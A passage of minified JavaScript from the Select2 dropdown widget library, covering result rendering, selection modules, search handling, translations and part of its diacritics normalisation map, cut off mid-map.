this.options.get("multiple")&&e.attr("aria-multiselectable","true"),this.$results=e},r.prototype.clear=function(){this.$results.empty()},r.prototype.displayMessage=function(e){var t=this.options.get("escapeMarkup");this.clear(),this.hideLoading();var n=h('<li role="alert" aria-live="assertive" class="select2-results__option"></li>'),r=this.options.get("translations").get(e.message);n.append(t(r(e.args))),n[0].className+=" select2-results__message",this.$results.append(n)},r.prototype.hideMessages=function(){this.$results.find(".select2-results__message").remove()},r.prototype.append=function(e){this.hideLoading();var t=[];if(null!=e.results&&0!==e.results.length){e.results=this.sort(e.results);for(var n=0;n<e.results.length;n++){var r=e.results[n],i=this.option(r);t.push(i)}this.$results.append(t)}else 0===this.$results.children().length&&this.trigger("results:message",{message:"noResults"})},r.prototype.position=function(e,t){t.find(".select2-results").append(e)},r.prototype.sort=function(e){return this.options.get("sorter")(e)},r.prototype.highlightFirstItem=function(){var e=this.$results.find(".select2-results__option[aria-selected]"),t=e.filter("[aria-selected=true]");0<t.length?t.first().trigger("mouseenter"):e.first().trigger("mouseenter"),this.ensureHighlightVisible()},r.prototype.setClasses=function(){var t=this;this.data.current(function(e){var r=h.map(e,function(e){return e.id.toString()});t.$results.find(".select2-results__option[aria-selected]").each(function(){var e=h(this),t=f.GetData(this,"data"),n=""+t.id;null!=t.element&&t.element.selected||null==t.element&&-1<h.inArray(n,r)?e.attr("aria-selected","true"):e.attr("aria-selected","false")})})},r.prototype.showLoading=function(e){this.hideLoading();var t={disabled:!0,loading:!0,text:this.options.get("translations").get("searching")(e)},n=this.option(t);n.className+=" loading-results",this.$results.prepend(n)},r.prototype.hideLoading=function(){this.$results.find(".loading-results").remove()},r.prototype.option=function(e){var t=document.createElement("li");t.className="select2-results__option";var n={role:"option","aria-selected":"false"},r=window.Element.prototype.matches||window.Element.prototype.msMatchesSelector||window.Element.prototype.webkitMatchesSelector;for(var i in(null!=e.element&&r.call(e.element,":disabled")||null==e.element&&e.disabled)&&(delete n["aria-selected"],n["aria-disabled"]="true"),null==e.id&&delete n["aria-selected"],null!=e._resultId&&(t.id=e._resultId),e.title&&(t.title=e.title),e.children&&(n.role="group",n["aria-label"]=e.text,delete n["aria-selected"]),n){var o=n[i];t.setAttribute(i,o)}if(e.children){var s=h(t),a=document.createElement("strong");a.className="select2-results__group";h(a);this.template(e,a);for(var l=[],c=0;c<e.children.length;c++){var u=e.children[c],d=this.option(u);l.push(d)}var p=h("<ul></ul>",{class:"select2-results__options select2-results__options--nested"});p.append(l),s.append(a),s.append(p)}else this.template(e,t);return f.StoreData(t,"data",e),t},r.prototype.bind=function(t,e){var l=this,n=t.id+"-results";this.$results.attr("id",n),t.on("results:all",function(e){l.clear(),l.append(e.data),t.isOpen()&&(l.setClasses(),l.highlightFirstItem())}),t.on("results:append",function(e){l.append(e.data),t.isOpen()&&l.setClasses()}),t.on("query",function(e){l.hideMessages(),l.showLoading(e)}),t.on("select",function(){t.isOpen()&&(l.setClasses(),l.options.get("scrollAfterSelect")&&l.highlightFirstItem())}),t.on("unselect",function(){t.isOpen()&&(l.setClasses(),l.options.get("scrollAfterSelect")&&l.highlightFirstItem())}),t.on("open",function(){l.$results.attr("aria-expanded","true"),l.$results.attr("aria-hidden","false"),l.setClasses(),l.ensureHighlightVisible()}),t.on("close",function(){l.$results.attr("aria-expanded","false"),l.$results.attr("aria-hidden","true"),l.$results.removeAttr("aria-activedescendant")}),t.on("results:toggle",function(){var e=l.getHighlightedResults();0!==e.length&&e.trigger("mouseup")}),t.on("results:select",function(){var e=l.getHighlightedResults();if(0!==e.length){var t=f.GetData(e[0],"data");"true"==e.attr("aria-selected")?l.trigger("close",{}):l.trigger("select",{data:t})}}),t.on("results:previous",function(){var e=l.getHighlightedResults(),t=l.$results.find("[aria-selected]"),n=t.index(e);if(!(n<=0)){var r=n-1;0===e.length&&(r=0);var i=t.eq(r);i.trigger("mouseenter");var o=l.$results.offset().top,s=i.offset().top,a=l.$results.scrollTop()+(s-o);0===r?l.$results.scrollTop(0):s-o<0&&l.$results.scrollTop(a)}}),t.on("results:next",function(){var e=l.getHighlightedResults(),t=l.$results.find("[aria-selected]"),n=t.index(e)+1;if(!(n>=t.length)){var r=t.eq(n);r.trigger("mouseenter");var i=l.$results.offset().top+l.$results.outerHeight(!1),o=r.offset().top+r.outerHeight(!1),s=l.$results.scrollTop()+o-i;0===n?l.$results.scrollTop(0):i<o&&l.$results.scrollTop(s)}}),t.on("results:focus",function(e){e.element.addClass("select2-results__option--highlighted")}),t.on("results:message",function(e){l.displayMessage(e)}),h.fn.mousewheel&&this.$results.on("mousewheel",function(e){var t=l.$results.scrollTop(),n=l.$results.get(0).scrollHeight-t+e.deltaY,r=0<e.deltaY&&t-e.deltaY<=0,i=e.deltaY<0&&n<=l.$results.height();r?(l.$results.scrollTop(0),e.preventDefault(),e.stopPropagation()):i&&(l.$results.scrollTop(l.$results.get(0).scrollHeight-l.$results.height()),e.preventDefault(),e.stopPropagation())}),this.$results.on("mouseup",".select2-results__option[aria-selected]",function(e){var t=h(this),n=f.GetData(this,"data");"true"!==t.attr("aria-selected")?l.trigger("select",{originalEvent:e,data:n}):l.options.get("multiple")?l.trigger("unselect",{originalEvent:e,data:n}):l.trigger("close",{})}),this.$results.on("mouseenter",".select2-results__option[aria-selected]",function(e){var t=f.GetData(this,"data");l.getHighlightedResults().removeClass("select2-results__option--highlighted"),l.trigger("results:focus",{data:t,element:h(this)})})},r.prototype.getHighlightedResults=function(){return this.$results.find(".select2-results__option--highlighted")},r.prototype.destroy=function(){this.$results.remove()},r.prototype.ensureHighlightVisible=function(){var e=this.getHighlightedResults();if(0!==e.length){var t=this.$results.find("[aria-selected]").index(e),n=this.$results.offset().top,r=e.offset().top,i=this.$results.scrollTop()+(r-n),o=r-n;i-=2*e.outerHeight(!1),t<=2?this.$results.scrollTop(0):(o>this.$results.outerHeight()||o<0)&&this.$results.scrollTop(i)}},r.prototype.template=function(e,t){var n=this.options.get("templateResult"),r=this.options.get("escapeMarkup"),i=n(e,t);null==i?t.style.display="none":"string"==typeof i?t.innerHTML=r(i):h(t).append(i)},r}),e.define("select2/keys",[],function(){return{BACKSPACE:8,TAB:9,ENTER:13,SHIFT:16,CTRL:17,ALT:18,ESC:27,SPACE:32,PAGE_UP:33,PAGE_DOWN:34,END:35,HOME:36,LEFT:37,UP:38,RIGHT:39,DOWN:40,DELETE:46}}),e.define("select2/selection/base",["jquery","../utils","../keys"],function(n,r,i){function o(e,t){this.$element=e,this.options=t,o.__super__.constructor.call(this)}return r.Extend(o,r.Observable),o.prototype.render=function(){var e=n('<span class="select2-selection" role="combobox"  aria-haspopup="true" aria-expanded="false"></span>');return this._tabindex=0,null!=r.GetData(this.$element[0],"old-tabindex")?this._tabindex=r.GetData(this.$element[0],"old-tabindex"):null!=this.$element.attr("tabindex")&&(this._tabindex=this.$element.attr("tabindex")),e.attr("title",this.$element.attr("title")),e.attr("tabindex",this._tabindex),e.attr("aria-disabled","false"),this.$selection=e},o.prototype.bind=function(e,t){var n=this,r=e.id+"-results";this.container=e,this.$selection.on("focus",function(e){n.trigger("focus",e)}),this.$selection.on("blur",function(e){n._handleBlur(e)}),this.$selection.on("keydown",function(e){n.trigger("keypress",e),e.which===i.SPACE&&e.preventDefault()}),e.on("results:focus",function(e){n.$selection.attr("aria-activedescendant",e.data._resultId)}),e.on("selection:update",function(e){n.update(e.data)}),e.on("open",function(){n.$selection.attr("aria-expanded","true"),n.$selection.attr("aria-owns",r),n._attachCloseHandler(e)}),e.on("close",function(){n.$selection.attr("aria-expanded","false"),n.$selection.removeAttr("aria-activedescendant"),n.$selection.removeAttr("aria-owns"),n.$selection.trigger("focus"),n._detachCloseHandler(e)}),e.on("enable",function(){n.$selection.attr("tabindex",n._tabindex),n.$selection.attr("aria-disabled","false")}),e.on("disable",function(){n.$selection.attr("tabindex","-1"),n.$selection.attr("aria-disabled","true")})},o.prototype._handleBlur=function(e){var t=this;window.setTimeout(function(){document.activeElement==t.$selection[0]||n.contains(t.$selection[0],document.activeElement)||t.trigger("blur",e)},1)},o.prototype._attachCloseHandler=function(e){n(document.body).on("mousedown.select2."+e.id,function(e){var t=n(e.target).closest(".select2");n(".select2.select2-container--open").each(function(){this!=t[0]&&r.GetData(this,"element").select2("close")})})},o.prototype._detachCloseHandler=function(e){n(document.body).off("mousedown.select2."+e.id)},o.prototype.position=function(e,t){t.find(".selection").append(e)},o.prototype.destroy=function(){this._detachCloseHandler(this.container)},o.prototype.update=function(e){throw new Error("The `update` method must be defined in child classes.")},o}),e.define("select2/selection/single",["jquery","./base","../utils","../keys"],function(e,t,n,r){function i(){i.__super__.constructor.apply(this,arguments)}return n.Extend(i,t),i.prototype.render=function(){var e=i.__super__.render.call(this);return e.addClass("select2-selection--single"),e.html('<span class="select2-selection__rendered"></span><span class="select2-selection__arrow" role="presentation"><b role="presentation"></b></span>'),e},i.prototype.bind=function(t,e){var n=this;i.__super__.bind.apply(this,arguments);var r=t.id+"-container";this.$selection.find(".select2-selection__rendered").attr("id",r).attr("role","textbox").attr("aria-readonly","true"),this.$selection.attr("aria-labelledby",r),this.$selection.on("mousedown",function(e){1===e.which&&n.trigger("toggle",{originalEvent:e})}),this.$selection.on("focus",function(e){}),this.$selection.on("blur",function(e){}),t.on("focus",function(e){t.isOpen()||n.$selection.trigger("focus")})},i.prototype.clear=function(){var e=this.$selection.find(".select2-selection__rendered");e.empty(),e.removeAttr("title")},i.prototype.display=function(e,t){var n=this.options.get("templateSelection");return this.options.get("escapeMarkup")(n(e,t))},i.prototype.selectionContainer=function(){return e("<span></span>")},i.prototype.update=function(e){if(0!==e.length){var t=e[0],n=this.$selection.find(".select2-selection__rendered"),r=this.display(t,n);n.empty().append(r);var i=t.title||t.text;i?n.attr("title",i):n.removeAttr("title")}else this.clear()},i}),e.define("select2/selection/multiple",["jquery","./base","../utils"],function(i,e,l){function n(e,t){n.__super__.constructor.apply(this,arguments)}return l.Extend(n,e),n.prototype.render=function(){var e=n.__super__.render.call(this);return e.addClass("select2-selection--multiple"),e.html('<ul class="select2-selection__rendered"></ul>'),e},n.prototype.bind=function(e,t){var r=this;n.__super__.bind.apply(this,arguments),this.$selection.on("click",function(e){r.trigger("toggle",{originalEvent:e})}),this.$selection.on("click",".select2-selection__choice__remove",function(e){if(!r.options.get("disabled")){var t=i(this).parent(),n=l.GetData(t[0],"data");r.trigger("unselect",{originalEvent:e,data:n})}})},n.prototype.clear=function(){var e=this.$selection.find(".select2-selection__rendered");e.empty(),e.removeAttr("title")},n.prototype.display=function(e,t){var n=this.options.get("templateSelection");return this.options.get("escapeMarkup")(n(e,t))},n.prototype.selectionContainer=function(){return i('<li class="select2-selection__choice"><span class="select2-selection__choice__remove" role="presentation">&times;</span></li>')},n.prototype.update=function(e){if(this.clear(),0!==e.length){for(var t=[],n=0;n<e.length;n++){var r=e[n],i=this.selectionContainer(),o=this.display(r,i);i.append(o);var s=r.title||r.text;s&&i.attr("title",s),l.StoreData(i[0],"data",r),t.push(i)}var a=this.$selection.find(".select2-selection__rendered");l.appendMany(a,t)}},n}),e.define("select2/selection/placeholder",["../utils"],function(e){function t(e,t,n){this.placeholder=this.normalizePlaceholder(n.get("placeholder")),e.call(this,t,n)}return t.prototype.normalizePlaceholder=function(e,t){return"string"==typeof t&&(t={id:"",text:t}),t},t.prototype.createPlaceholder=function(e,t){var n=this.selectionContainer();return n.html(this.display(t)),n.addClass("select2-selection__placeholder").removeClass("select2-selection__choice"),n},t.prototype.update=function(e,t){var n=1==t.length&&t[0].id!=this.placeholder.id;if(1<t.length||n)return e.call(this,t);this.clear();var r=this.createPlaceholder(this.placeholder);this.$selection.find(".select2-selection__rendered").append(r)},t}),e.define("select2/selection/allowClear",["jquery","../keys","../utils"],function(i,r,a){function e(){}return e.prototype.bind=function(e,t,n){var r=this;e.call(this,t,n),null==this.placeholder&&this.options.get("debug")&&window.console&&console.error&&console.error("Select2: The `allowClear` option should be used in combination with the `placeholder` option."),this.$selection.on("mousedown",".select2-selection__clear",function(e){r._handleClear(e)}),t.on("keypress",function(e){r._handleKeyboardClear(e,t)})},e.prototype._handleClear=function(e,t){if(!this.options.get("disabled")){var n=this.$selection.find(".select2-selection__clear");if(0!==n.length){t.stopPropagation();var r=a.GetData(n[0],"data"),i=this.$element.val();this.$element.val(this.placeholder.id);var o={data:r};if(this.trigger("clear",o),o.prevented)this.$element.val(i);else{for(var s=0;s<r.length;s++)if(o={data:r[s]},this.trigger("unselect",o),o.prevented)return void this.$element.val(i);this.$element.trigger("change"),this.trigger("toggle",{})}}}},e.prototype._handleKeyboardClear=function(e,t,n){n.isOpen()||t.which!=r.DELETE&&t.which!=r.BACKSPACE||this._handleClear(t)},e.prototype.update=function(e,t){if(e.call(this,t),!(0<this.$selection.find(".select2-selection__placeholder").length||0===t.length)){var n=this.options.get("translations").get("removeAllItems"),r=i('<span class="select2-selection__clear" title="'+n()+'">&times;</span>');a.StoreData(r[0],"data",t),this.$selection.find(".select2-selection__rendered").prepend(r)}},e}),e.define("select2/selection/search",["jquery","../utils","../keys"],function(r,a,l){function e(e,t,n){e.call(this,t,n)}return e.prototype.render=function(e){var t=r('<li class="select2-search select2-search--inline"><input class="select2-search__field" type="search" tabindex="-1" autocomplete="off" autocorrect="off" autocapitalize="none" spellcheck="false" role="searchbox" aria-autocomplete="list" /></li>');this.$searchContainer=t,this.$search=t.find("input");var n=e.call(this);return this._transferTabIndex(),n},e.prototype.bind=function(e,t,n){var r=this,i=t.id+"-results";e.call(this,t,n),t.on("open",function(){r.$search.attr("aria-controls",i),r.$search.trigger("focus")}),t.on("close",function(){r.$search.val(""),r.$search.removeAttr("aria-controls"),r.$search.removeAttr("aria-activedescendant"),r.$search.trigger("focus")}),t.on("enable",function(){r.$search.prop("disabled",!1),r._transferTabIndex()}),t.on("disable",function(){r.$search.prop("disabled",!0)}),t.on("focus",function(e){r.$search.trigger("focus")}),t.on("results:focus",function(e){e.data._resultId?r.$search.attr("aria-activedescendant",e.data._resultId):r.$search.removeAttr("aria-activedescendant")}),this.$selection.on("focusin",".select2-search--inline",function(e){r.trigger("focus",e)}),this.$selection.on("focusout",".select2-search--inline",function(e){r._handleBlur(e)}),this.$selection.on("keydown",".select2-search--inline",function(e){if(e.stopPropagation(),r.trigger("keypress",e),r._keyUpPrevented=e.isDefaultPrevented(),e.which===l.BACKSPACE&&""===r.$search.val()){var t=r.$searchContainer.prev(".select2-selection__choice");if(0<t.length){var n=a.GetData(t[0],"data");r.searchRemoveChoice(n),e.preventDefault()}}}),this.$selection.on("click",".select2-search--inline",function(e){r.$search.val()&&e.stopPropagation()});var o=document.documentMode,s=o&&o<=11;this.$selection.on("input.searchcheck",".select2-search--inline",function(e){s?r.$selection.off("input.search input.searchcheck"):r.$selection.off("keyup.search")}),this.$selection.on("keyup.search input.search",".select2-search--inline",function(e){if(s&&"input"===e.type)r.$selection.off("input.search input.searchcheck");else{var t=e.which;t!=l.SHIFT&&t!=l.CTRL&&t!=l.ALT&&t!=l.TAB&&r.handleSearch(e)}})},e.prototype._transferTabIndex=function(e){this.$search.attr("tabindex",this.$selection.attr("tabindex")),this.$selection.attr("tabindex","-1")},e.prototype.createPlaceholder=function(e,t){this.$search.attr("placeholder",t.text)},e.prototype.update=function(e,t){var n=this.$search[0]==document.activeElement;this.$search.attr("placeholder",""),e.call(this,t),this.$selection.find(".select2-selection__rendered").append(this.$searchContainer),this.resizeSearch(),n&&this.$search.trigger("focus")},e.prototype.handleSearch=function(){if(this.resizeSearch(),!this._keyUpPrevented){var e=this.$search.val();this.trigger("query",{term:e})}this._keyUpPrevented=!1},e.prototype.searchRemoveChoice=function(e,t){this.trigger("unselect",{data:t}),this.$search.val(t.text),this.handleSearch()},e.prototype.resizeSearch=function(){this.$search.css("width","25px");var e="";""!==this.$search.attr("placeholder")?e=this.$selection.find(".select2-selection__rendered").width():e=.75*(this.$search.val().length+1)+"em";this.$search.css("width",e)},e}),e.define("select2/selection/eventRelay",["jquery"],function(s){function e(){}return e.prototype.bind=function(e,t,n){var r=this,i=["open","opening","close","closing","select","selecting","unselect","unselecting","clear","clearing"],o=["opening","closing","selecting","unselecting","clearing"];e.call(this,t,n),t.on("*",function(e,t){if(-1!==s.inArray(e,i)){t=t||{};var n=s.Event("select2:"+e,{params:t});r.$element.trigger(n),-1!==s.inArray(e,o)&&(t.prevented=n.isDefaultPrevented())}})},e}),e.define("select2/translation",["jquery","require"],function(t,n){function r(e){this.dict=e||{}}return r.prototype.all=function(){return this.dict},r.prototype.get=function(e){return this.dict[e]},r.prototype.extend=function(e){this.dict=t.extend({},e.all(),this.dict)},r._cache={},r.loadPath=function(e){if(!(e in r._cache)){var t=n(e);r._cache[e]=t}return new r(r._cache[e])},r}),e.define("select2/diacritics",[],function(){return{"Ⓐ":"A","Ａ":"A","À":"A","Á":"A","Â":"A","Ầ":"A","Ấ":"A","Ẫ":"A","Ẩ":"A","Ã":"A","Ā":"A","Ă":"A","Ằ":"A","Ắ":"A","Ẵ":"A","Ẳ":"A","Ȧ":"A","Ǡ":"A","Ä":"A","Ǟ":"A","Ả":"A","Å":"A","Ǻ":"A","Ǎ":"A","Ȁ":"A","Ȃ":"A","Ạ":"A","Ậ":"A","Ặ":"A","Ḁ":"A","Ą":"A","Ⱥ":"A","Ɐ":"A","Ꜳ":"AA","Æ":"AE","Ǽ":"AE","Ǣ":"AE","Ꜵ":"AO","Ꜷ":"AU","Ꜹ":"AV","Ꜻ":"AV","Ꜽ":"AY","Ⓑ":"B","Ｂ":"B","Ḃ":"B","Ḅ":"B","Ḇ":"B","Ƀ":"B","Ƃ":"B","Ɓ":"B","Ⓒ":"C","Ｃ":"C","Ć":"C","Ĉ":"C","Ċ":"C","Č":"C","Ç":"C","Ḉ":"C","Ƈ":"C","Ȼ":"C","Ꜿ":"C","Ⓓ":"D","Ｄ":"D","Ḋ":"D","Ď":"D","Ḍ":"D","Ḑ":"D","Ḓ":"D","Ḏ":"D","Đ":"D","Ƌ":"D","Ɗ":"D","Ɖ":"D","Ꝺ":"D","Ǳ":"DZ","Ǆ":"DZ","ǲ":"Dz","ǅ":"Dz","Ⓔ":"E","Ｅ":"E","È":"E","É":"E","Ê":"E","Ề":"E","Ế":"E","Ễ":"E","Ể":"E","Ẽ":"E","Ē":"E","Ḕ":"E","Ḗ":"E","Ĕ":"E","Ė":"E","Ë":"E","Ẻ":"E","Ě":"E","Ȅ":"E","Ȇ":"E","Ẹ":"E","Ệ":"E","Ȩ":"E","Ḝ":"E","Ę":"E","Ḙ":"E","Ḛ":"E","Ɛ":"E","Ǝ":"E","Ⓕ":"F","Ｆ":"F","Ḟ":"F","Ƒ":"F","Ꝼ":"F","Ⓖ":"G","Ｇ":"G","Ǵ":"G","Ĝ":"G","Ḡ":"G","Ğ":"G","Ġ":"G","Ǧ":"G","Ģ":"G","Ǥ":"G","Ɠ":"G","Ꞡ":"G","Ᵹ":"G","Ꝿ":"G","Ⓗ":"H","Ｈ":"H","Ĥ":"H","Ḣ":"H","Ḧ":"H","Ȟ":"H","Ḥ":"H","Ḩ":"H","Ḫ":"H","Ħ":"H","Ⱨ":"H","Ⱶ":"H","Ɥ":"H","Ⓘ":"I","Ｉ":"I","Ì":"I","Í":"I","Î":"I","Ĩ":"I","Ī":"I","Ĭ":"I","İ":"I","Ï":"I","Ḯ":"I","Ỉ":"I","Ǐ":"I","Ȉ":"I","Ȋ":"I","Ị":"I","Į":"I","Ḭ":"I","Ɨ":"I","Ⓙ":"J","Ｊ":"J","Ĵ":"J","Ɉ":"J","Ⓚ":"K","Ｋ":"K","Ḱ":"K","Ǩ":"K","Ḳ":"K","Ķ":"K","Ḵ":"K","Ƙ":"K","Ⱪ":"K","Ꝁ":"K","Ꝃ":"K","Ꝅ":"K","Ꞣ":"K","Ⓛ":"L","Ｌ":"L","Ŀ":"L","Ĺ":"L","Ľ":"L","Ḷ":"L","Ḹ":"L","Ļ":"L","Ḽ":"L","Ḻ":"L","Ł":"L","Ƚ":"L","Ɫ":"L","Ⱡ":"L","Ꝉ":"L","Ꝇ":"L","Ꞁ":"L","Ǉ":"LJ","ǈ":"Lj","Ⓜ":"M","Ｍ":"M","Ḿ":"M","Ṁ":"M","Ṃ":"M","Ɱ":"M","Ɯ":"M","Ⓝ":"N","Ｎ":"N","Ǹ":"N","Ń":"N","Ñ":"N","Ṅ":"N","Ň":"N","Ṇ":"N","Ņ":"N","Ṋ":"N","Ṉ":"N","Ƞ":"N","Ɲ":"N","Ꞑ":"N","Ꞥ":"N","Ǌ":"NJ","ǋ":"Nj","Ⓞ":"O","Ｏ":"O","Ò":"O","Ó":"O","Ô":"O","Ồ":"O","Ố":"O","Ỗ":"O","Ổ":"O","Õ":"O","Ṍ":"O","Ȭ":"O","Ṏ":"O","Ō":"O","Ṑ":"O","Ṓ":"O","Ŏ":"O","Ȯ":"O","Ȱ":"O","Ö":"O","Ȫ":"O","Ỏ":"O","Ő":"O","Ǒ":"O","Ȍ":"O","Ȏ":"O","Ơ":"O","Ờ":"O","Ớ":"O","Ỡ":"O","Ở":"O","Ợ":"O","Ọ":"O","Ộ":"O","Ǫ":"O","Ǭ":"O","Ø":"O","Ǿ":"O","Ɔ":"O","Ɵ":"O","Ꝋ":"O","Ꝍ":"O","Œ":"OE","Ƣ":"OI","Ꝏ":"OO","Ȣ":"OU","Ⓟ":"P","Ｐ":"P","Ṕ":"P","Ṗ":"P","Ƥ":"P","Ᵽ":"P","Ꝑ":"P","Ꝓ":"P","Ꝕ":"P","Ⓠ":"Q","Ｑ":"Q","Ꝗ":"Q","Ꝙ":"Q","Ɋ":"Q","Ⓡ":"R","Ｒ":"R","Ŕ":"R","Ṙ":"R","Ř":"R","Ȑ":"R","Ȓ":"R","Ṛ":"R","Ṝ":"R","Ŗ":"R","Ṟ":"R","Ɍ":"R","Ɽ":"R","Ꝛ":"R","Ꞧ":"R","Ꞃ":"R","Ⓢ":"S","Ｓ":"S","ẞ":"S","Ś":"S","Ṥ":"S","Ŝ":"S","Ṡ":"S","Š":"S","Ṧ":"S","Ṣ":"S","Ṩ":"S","Ș":"S","Ş":"S","Ȿ":"S","Ꞩ":"S","Ꞅ":"S","Ⓣ":"T","Ｔ":"T","Ṫ":"T","Ť":"T","Ṭ":"T","Ț":"T","Ţ":"T","Ṱ":"T","Ṯ":"T","Ŧ":"T","Ƭ":"T","Ʈ":"T","Ⱦ":"T","Ꞇ":"T","Ꜩ":"TZ","Ⓤ":"U","Ｕ":"U","Ù":"U","Ú":"U","Û":"U","Ũ":"U","Ṹ":"U","Ū":"U","Ṻ":"U","Ŭ":"U","Ü":"U","Ǜ":"U","Ǘ":"U","Ǖ":"U","Ǚ":"U","Ủ":"U","Ů":"U","Ű":"U","Ǔ":"U","Ȕ":"U","Ȗ":"U","Ư":"U","Ừ":"U","Ứ":"U","Ữ":"U","Ử":"U","Ự":"U","Ụ":"U","Ṳ":"U","Ų":"U","Ṷ":"U","Ṵ":"U","Ʉ":"U","Ⓥ":"V","Ｖ":"V","Ṽ":"V","Ṿ":"V","Ʋ":"V","Ꝟ":"V","Ʌ":"V","Ꝡ":"VY","Ⓦ":"W","Ｗ":"W","Ẁ":"W","Ẃ":"W","Ŵ":"W","Ẇ":"W","Ẅ":"W","Ẉ":"W","Ⱳ":"W","Ⓧ":"X","Ｘ":"X","Ẋ":"X","Ẍ":"X","Ⓨ":"Y","Ｙ":"Y","Ỳ":"Y","Ý":"Y","Ŷ":"Y","Ỹ":"Y","Ȳ":"Y","Ẏ":"Y","Ÿ":"Y","Ỷ":"Y","Ỵ":"Y","Ƴ":"Y","Ɏ":"Y","Ỿ":"Y","Ⓩ":"Z","Ｚ":"Z","Ź":"Z","Ẑ":"Z","Ż":"Z","Ž":"Z","Ẓ":"Z","Ẕ":"Z","Ƶ":"Z","Ȥ":"Z","Ɀ":"Z","Ⱬ":"Z","Ꝣ":"Z","ⓐ":"a","ａ":"a","ẚ":"a","à":"a","á":"a","â":"a","ầ":"a","ấ":"a","ẫ":"a","ẩ":"a","ã":"a","ā":"a","ă":"a","ằ":"a","ắ":"a","ẵ":"a","ẳ":"a","ȧ":"a","ǡ":"a","ä":"a","ǟ":"a","ả":"a","å":"a","ǻ":"a","ǎ":"a","ȁ":"a","ȃ":"a","ạ":"a","ậ":"a","ặ":"a","ḁ":"a","ą":"a","ⱥ":"a","ɐ":"a","ꜳ":"aa","æ":"ae","ǽ":"ae","ǣ":"ae","ꜵ":"ao","ꜷ":"au","ꜹ":"av","ꜻ":"av","ꜽ":"ay","ⓑ":"b","ｂ":"b","ḃ":"b","ḅ":"b","ḇ":"b","ƀ":"b","ƃ":"b","ɓ":"b","ⓒ":"c","ｃ":"c","ć":"c","ĉ":"c","ċ":"c","č":"c","ç":"c","ḉ":"c","ƈ":"c","ȼ":"c","ꜿ":"c","ↄ":"c","ⓓ":"d","ｄ":"d","ḋ":"d","ď":"d","ḍ":"d","ḑ":"d","ḓ":"d","ḏ":"d","đ":"d","ƌ":"d","ɖ":"d","ɗ":"d","ꝺ":"d","ǳ":"dz","ǆ":"dz","ⓔ":"e","ｅ":"e","è":"e","é":"e","ê":"e","ề":"e","ế":"e","ễ":"e","ể":"e","ẽ":"e","ē":"e","ḕ":"e","ḗ":"e","ĕ":"e","ė":"e","ë":"e","ẻ":"e","ě":"e","ȅ":"e","ȇ":"e","ẹ":"e","ệ":"e","ȩ":"e","ḝ":"e","ę":"e","ḙ":"e","ḛ":"e","ɇ":"e","ɛ":"e","ǝ":"e","ⓕ":"f","ｆ":"f","ḟ":"f","ƒ":"f","ꝼ":"f","ⓖ":"g","ｇ":"g","ǵ":"g","ĝ":"g","ḡ":"g","ğ":"g","ġ":"g","ǧ":"g","ģ":"g","ǥ":"g","ɠ":"g","ꞡ":"g","ᵹ":"g","ꝿ":"g","ⓗ":"h","ｈ":"h","ĥ":"h","ḣ":"h","ḧ":"h","ȟ":"h","ḥ":"h","ḩ":"h","ḫ":"h","ẖ":"h","ħ":"h","ⱨ":"h","ⱶ":"h","ɥ":"h","ƕ":"hv","ⓘ":"i","ｉ":"i","ì":"i","í":"i","î":"i","ĩ":"i","ī":"i","ĭ":"i","ï":"i","ḯ":"i","ỉ":"i","ǐ":"i","ȉ":"i","ȋ":"i","ị":"i","į":"i","ḭ":"i","ɨ":"i","ı":"i","ⓙ":"j","ｊ":"j","ĵ":"j","ǰ":"j","ɉ":"j","ⓚ":"k","ｋ":"k","ḱ":"k","ǩ":"k","ḳ":"k","ķ":"k","ḵ":"k","ƙ":"k","ⱪ":"k","ꝁ":"k","ꝃ":"k","ꝅ":"k","ꞣ":"k","ⓛ":"l","ｌ":"l","ŀ":"l","ĺ":"l","ľ":"l","ḷ":"l","ḹ":"l","ļ":"l","ḽ":"l","ḻ":"l","ſ":"l","ł":"l","ƚ":"l","ɫ":"l","ⱡ":"l","ꝉ":"l","ꞁ":"l","ꝇ":"l","ǉ":"lj","ⓜ":"m","ｍ":"m","ḿ":"m","ṁ":"m","ṃ":"m","ɱ":"m","ɯ":"m","ⓝ":"n","ｎ":"n","ǹ":"n","ń":"n","ñ":"n","ṅ":"n","ň":"n","ṇ":"n","ņ":"n","ṋ":"n","ṉ":"n","ƞ":"n","ɲ":"n","ŉ":"n","ꞑ":"n","ꞥ":"n","ǌ":"nj","ⓞ":"o","ｏ":"o","ò":"o","ó":"o","ô":"o","ồ":"o","ố":"o","ỗ":"o","ổ":"o","õ":"o","ṍ":"o","ȭ":"o","ṏ":"o","ō":"o","ṑ":"o","ṓ":"o","ŏ":"o","ȯ":"o","ȱ":"o","ö":"o","ȫ":"o","ỏ":"o","ő":"o","ǒ":"o","ȍ":"o","ȏ":"o","ơ":"o","ờ":"o","ớ":"o","ỡ":"o","ở":"o","ợ":"o","ọ":"o","ộ":"o","ǫ":"o","ǭ":"o","ø":"o","ǿ":"o","ɔ":"o","ꝋ":"o","ꝍ":"o","ɵ":"o","œ":"oe","ƣ":"oi","ȣ":"ou","ꝏ":"oo","ⓟ":"p","ｐ":"p","ṕ":"p","ṗ":"p","ƥ":"p","ᵽ":"p","ꝑ":"p","ꝓ":"p","ꝕ":"p","ⓠ":"q","ｑ":"q","ɋ":"q","ꝗ":"q","ꝙ":"q","ⓡ":"r","ｒ":"r","ŕ":"r","ṙ":"r","ř":"r","ȑ":"r","ȓ":"r","ṛ":"r","ṝ":"r","ŗ":"r","ṟ":"r","ɍ":"r","ɽ":"r","ꝛ":"r","ꞧ":"r","ꞃ":"r","ⓢ":"s","ｓ":"s","ß":"s","ś":"s","ṥ":"s","ŝ":"s","ṡ":"s","š":"s","ṧ":"s","ṣ":"s","ṩ":"s","ș":"s","ş":"s","ȿ":"s","ꞩ":"s","ꞅ":"s","ẛ":"s","ⓣ":"t","ｔ":"t","ṫ":"t","ẗ":"t","ť":"t","ṭ":"t","ț":"t","ţ":"t","ṱ":"t","ṯ":"t","ŧ":"t","ƭ":"t","ʈ":"t","ⱦ":"t","ꞇ":"t","ꜩ":"tz","ⓤ":"u","ｕ":"u","ù":"u","ú":"u","û":"u","ũ":"u","ṹ":"u","ū":"u","ṻ":"u","ŭ":"u","ü":"u","ǜ":"u","ǘ":"u","ǖ":"u","ǚ":"u","ủ":"u","ů":"u","ű":"u","ǔ":"u","ȕ":"u","ȗ":"u","ư":"u","ừ":"u","ứ":"u","ữ":"u","ử":"u","ự":"u","ụ":"u","ṳ":"u","ų":"u","ṷ":"u","ṵ":"u","ʉ":"u","ⓥ":"v","ｖ":"v","ṽ":"v","ṿ":"v","ʋ":"v","ꝟ":"v","ʌ":"v","ꝡ":"vy","ⓦ":"w","ｗ":"w","ẁ":"w","ẃ":"w","ŵ":"w","ẇ":"w","